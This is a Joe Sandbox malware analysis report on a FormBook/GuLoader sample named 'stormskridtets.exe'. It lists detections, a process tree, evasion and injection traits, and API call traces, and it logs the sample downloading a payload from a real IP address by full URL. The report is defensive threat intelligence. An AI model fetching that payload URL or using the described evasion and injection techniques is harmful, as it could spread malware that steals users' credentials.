Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
stormskridtets.exe

Overview

General Information

Sample name:stormskridtets.exe
Analysis ID:1548541
MD5:838ac221b23f5affc17264c2b300545b
SHA1:0e27e1f85c110a3ca1b28f01ba01739c3c55ad4f
SHA256:c6e35a056fce892b6af5ed62f23168202f390da229139df20cde3599108d7cf7
Tags:exeuser-abuse_ch
Infos:

Detection

FormBook, GuLoader
Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected FormBook
Yara detected GuLoader
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
Maps a DLL or memory area into another process
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
PE / OLE file has an invalid certificate
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • stormskridtets.exe (PID: 2024 cmdline: "C:\Users\user\Desktop\stormskridtets.exe" MD5: 838AC221B23F5AFFC17264C2B300545B)
    • stormskridtets.exe (PID: 2176 cmdline: "C:\Users\user\Desktop\stormskridtets.exe" MD5: 838AC221B23F5AFFC17264C2B300545B)
      • KwKVNXKYGqFY.exe (PID: 6988 cmdline: "C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • wiaacmgr.exe (PID: 7140 cmdline: "C:\Windows\SysWOW64\wiaacmgr.exe" MD5: 2F1D379CE47E920BDDD2C50214457E0F)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000006.00000002.2552922904.00000000370C0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000009.00000002.2555391519.0000000004260000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000009.00000002.2555322541.0000000000B20000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000008.00000002.2555508890.0000000002FE0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 2 entries

            Sigma Signatures

            ⊘No Sigma rule has matched

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-11-04T16:09:24.887337+010020229301A Network Trojan was detected20.12.23.50443192.168.2.749741TCP
            2024-11-04T16:10:11.460079+010020229301A Network Trojan was detected20.12.23.50443192.168.2.749882TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-11-04T16:10:25.245150+010028032702Potentially Bad Traffic192.168.2.749951173.249.193.4880TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: stormskridtets.exeAvira: detected
            Multi AV Scanner detection for submitted file
            Source: stormskridtets.exeReversingLabs: Detection: 28%
            Yara detected FormBook
            Source: Yara matchFile source: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.2552922904.00000000370C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.2555391519.0000000004260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.2555322541.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.2555508890.0000000002FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Source: stormskridtets.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: stormskridtets.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: wntdll.pdbUGP source: stormskridtets.exe, 00000006.00000003.2431412117.0000000037220000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: stormskridtets.exe, stormskridtets.exe, 00000006.00000003.2431412117.0000000037220000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe
            Source: Binary string: wiaacmgr.pdbGCTL source: stormskridtets.exe, 00000006.00000003.2489432589.00000000071EB000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000003.2489370826.00000000071D7000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wiaacmgr.pdb source: stormskridtets.exe, 00000006.00000003.2489432589.00000000071EB000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000003.2489370826.00000000071D7000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_0040674C FindFirstFileW,FindClose,0_2_0040674C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_00405B00 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405B00
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 4x nop then xor eax, eax9_2_00409F10
            Source: Network trafficSuricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49951 -> 173.249.193.48:80
            Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:49741
            Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:49882
            Source: global trafficHTTP traffic detected: GET /dlDSZQaZvoFz216.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 173.249.193.48Cache-Control: no-cache
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: unknownTCP traffic detected without corresponding DNS query: 173.249.193.48
            Source: global trafficHTTP traffic detected: GET /dlDSZQaZvoFz216.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 173.249.193.48Cache-Control: no-cache
            Source: stormskridtets.exe, 00000006.00000002.2531078656.0000000007178000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2552614663.0000000036890000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://173.249.193.48/dlDSZQaZvoFz216.bin
            Source: stormskridtets.exe, 00000006.00000002.2531078656.0000000007178000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://173.249.193.48/dlDSZQaZvoFz216.binsdVU
            Source: stormskridtets.exe, 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmp, stormskridtets.exe, 00000000.00000000.1289459649.000000000040A000.00000008.00000001.01000000.00000003.sdmp, stormskridtets.exe, 00000006.00000000.1940317354.000000000040A000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.2552922904.00000000370C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.2555391519.0000000004260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.2555322541.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.2555508890.0000000002FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess Stats: CPU usage > 49%
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374435C0 NtCreateMutant,LdrInitializeThunk,6_2_374435C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_37442DF0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442C70 NtFreeVirtualMemory,LdrInitializeThunk,6_2_37442C70
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442B60 NtClose,LdrInitializeThunk,6_2_37442B60
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37444650 NtSuspendThread,6_2_37444650
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37444340 NtSetContextThread,6_2_37444340
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37443010 NtOpenDirectoryObject,6_2_37443010
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37443090 NtSetValueKey,6_2_37443090
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442F60 NtCreateProcessEx,6_2_37442F60
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442F30 NtCreateSection,6_2_37442F30
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442FE0 NtCreateFile,6_2_37442FE0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442F90 NtProtectVirtualMemory,6_2_37442F90
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442FA0 NtQuerySection,6_2_37442FA0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442FB0 NtResumeThread,6_2_37442FB0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442E30 NtWriteVirtualMemory,6_2_37442E30
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442EE0 NtQueueApcThread,6_2_37442EE0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442E80 NtReadVirtualMemory,6_2_37442E80
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442EA0 NtAdjustPrivilegesToken,6_2_37442EA0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37443D70 NtOpenThread,6_2_37443D70
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442D00 NtSetInformationFile,6_2_37442D00
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37443D10 NtOpenProcessToken,6_2_37443D10
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442D10 NtMapViewOfSection,6_2_37442D10
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442D30 NtUnmapViewOfSection,6_2_37442D30
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442DD0 NtDelayExecution,6_2_37442DD0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442DB0 NtEnumerateKey,6_2_37442DB0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442C60 NtCreateKey,6_2_37442C60
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442C00 NtQueryInformationProcess,6_2_37442C00
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442CC0 NtQueryVirtualMemory,6_2_37442CC0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442CF0 NtOpenProcess,6_2_37442CF0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442CA0 NtQueryInformationToken,6_2_37442CA0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442BE0 NtQueryValueKey,6_2_37442BE0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442BF0 NtAllocateVirtualMemory,6_2_37442BF0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442B80 NtQueryInformationFile,6_2_37442B80
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442BA0 NtEnumerateValueKey,6_2_37442BA0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442AD0 NtReadFile,6_2_37442AD0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442AF0 NtWriteFile,6_2_37442AF0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442AB0 NtWaitForSingleObject,6_2_37442AB0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374439B0 NtGetContextThread,6_2_374439B0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2C70 NtFreeVirtualMemory,LdrInitializeThunk,9_2_046C2C70
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2CA0 NtQueryInformationToken,LdrInitializeThunk,9_2_046C2CA0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2DF0 NtQuerySystemInformation,LdrInitializeThunk,9_2_046C2DF0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2FE0 NtCreateFile,LdrInitializeThunk,9_2_046C2FE0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2AD0 NtReadFile,LdrInitializeThunk,9_2_046C2AD0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2B60 NtClose,LdrInitializeThunk,9_2_046C2B60
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,9_2_046C2BF0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C35C0 NtCreateMutant,LdrInitializeThunk,9_2_046C35C0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C4650 NtSuspendThread,9_2_046C4650
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C4340 NtSetContextThread,9_2_046C4340
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2C60 NtCreateKey,9_2_046C2C60
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2C00 NtQueryInformationProcess,9_2_046C2C00
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2CF0 NtOpenProcess,9_2_046C2CF0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2CC0 NtQueryVirtualMemory,9_2_046C2CC0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2D30 NtUnmapViewOfSection,9_2_046C2D30
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2D00 NtSetInformationFile,9_2_046C2D00
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2D10 NtMapViewOfSection,9_2_046C2D10
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2DD0 NtDelayExecution,9_2_046C2DD0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2DB0 NtEnumerateKey,9_2_046C2DB0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2E30 NtWriteVirtualMemory,9_2_046C2E30
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2EE0 NtQueueApcThread,9_2_046C2EE0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2EA0 NtAdjustPrivilegesToken,9_2_046C2EA0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2E80 NtReadVirtualMemory,9_2_046C2E80
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2F60 NtCreateProcessEx,9_2_046C2F60
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2F30 NtCreateSection,9_2_046C2F30
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2FA0 NtQuerySection,9_2_046C2FA0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2FB0 NtResumeThread,9_2_046C2FB0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2F90 NtProtectVirtualMemory,9_2_046C2F90
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2AF0 NtWriteFile,9_2_046C2AF0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2AB0 NtWaitForSingleObject,9_2_046C2AB0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2BE0 NtQueryValueKey,9_2_046C2BE0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2BA0 NtEnumerateValueKey,9_2_046C2BA0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C2B80 NtQueryInformationFile,9_2_046C2B80
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C3010 NtOpenDirectoryObject,9_2_046C3010
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C3090 NtSetValueKey,9_2_046C3090
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C3D70 NtOpenThread,9_2_046C3D70
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C3D10 NtOpenProcessToken,9_2_046C3D10
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_046C39B0 NtGetContextThread,9_2_046C39B0
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_00429160 NtReadFile,9_2_00429160
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_00429300 NtClose,9_2_00429300
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_00429460 NtAllocateVirtualMemory,9_2_00429460
            Source: C:\Windows\SysWOW64\wiaacmgr.exeCode function: 9_2_00428FF0 NtCreateFile,9_2_00428FF0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_004034A2 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004034A2
            Source: C:\Users\user\Desktop\stormskridtets.exeFile created: C:\Windows\resources\0809Jump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_73C91B5F0_2_73C91B5F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374347506_2_37434750
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374107706_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740C7C06_2_3740C7C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CF7B06_2_374CF7B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C16CC6_2_374C16CC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742C6E06_2_3742C6E0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C75716_2_374C7571
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374105356_2_37410535
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D05916_2_374D0591
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AD5B06_2_374AD5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C24466_2_374C2446
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374014606_2_37401460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CF43F6_2_374CF43F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BE4F66_2_374BE4F6
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CA3526_2_374CA352
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C132D6_2_374C132D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FD34C6_2_373FD34C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D03E66_2_374D03E6
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741E3F06_2_3741E3F0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3745739A6_2_3745739A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B02746_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B2C06_2_3742B2C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374152A06_2_374152A0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374981586_2_37498158
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374DB16B6_2_374DB16B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3744516C6_2_3744516C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374001006_2_37400100
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF1726_2_373FF172
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AA1186_2_374AA118
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C81CC6_2_374C81CC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D01AA6_2_374D01AA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741B1B06_2_3741B1B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374170C06_2_374170C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF0CC6_2_374BF0CC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C70E96_2_374C70E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CF0E06_2_374CF0E0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37484F406_2_37484F40
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CFF096_2_374CFF09
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37452F286_2_37452F28
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37430F306_2_37430F30
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37402FC86_2_37402FC8
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741CFE06_2_3741CFE0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37411F926_2_37411F92
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CFFB16_2_374CFFB1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410E596_2_37410E59
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CEE266_2_374CEE26
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CEEDB6_2_374CEEDB
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37422E906_2_37422E90
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CCE936_2_374CCE93
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37419EB06_2_37419EB0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37413D406_2_37413D40
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C1D5A6_2_374C1D5A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C7D736_2_374C7D73
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741AD006_2_3741AD00
